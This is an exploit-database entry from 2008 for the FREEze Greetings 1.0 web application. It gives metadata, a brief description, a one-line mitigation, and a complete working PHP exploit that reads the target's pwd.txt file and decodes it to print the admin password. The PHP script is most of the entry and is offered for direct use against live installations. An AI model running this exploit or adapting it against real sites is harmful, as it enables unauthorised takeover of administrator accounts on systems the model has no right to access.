FREEze Greetings 1.0 Remote Password Retrieve Exploit

vendor:

Greetings

by:

cOndemned

7.5

CVSS

HIGH

Remote Password Retrieve Exploit

N/A

CWE

Product Name: Greetings

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

FREEze Greetings 1.0 Remote Password Retrieve Exploit

This exploit allows an attacker to retrieve the admin password of the FREEze Greetings 1.0 application. The exploit works by decoding the contents of the pwd.txt file located in the target application's directory. The file contains a base64 encoded string which is then decoded to reveal the admin password.

Mitigation:

The application should be updated to the latest version to prevent exploitation.

Source

Exploit-DB raw data:

<?php

/**
* FREEze Greetings 1.0 Remote Password Retrieve Exploit
* Exploit by cOndemned 
*
* Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho [...]
* Special thx to ZaBeaTy for developing such a sexy regexp ;) Thx m8 
*/

echo <<< Header

[~] FREEze Greetings 1.0 Remote Password Retrieve Exploit
[~] Exploit by cOndemned [ Prints decoded admin password ]

Header;

if($argc != 2) printf("[~] Usage : php %s <target_with_path>\r\n\r\n", $argv[0]) and exit;

$out = (preg_match('!^([^ ]+)$!sei', file_get_contents($argv[1] . '/pwd.txt'), $r) && preg_match('!^([^\|\|]+)\|\|!sei', base64_decode($r[1]), $pass))
	? sprintf("Password : %s", base64_decode($pass[1])) : 'Exploitation failed';

printf("[~] %s \r\n\r\n", $out);

?>

# milw0rm.com [2008-11-17]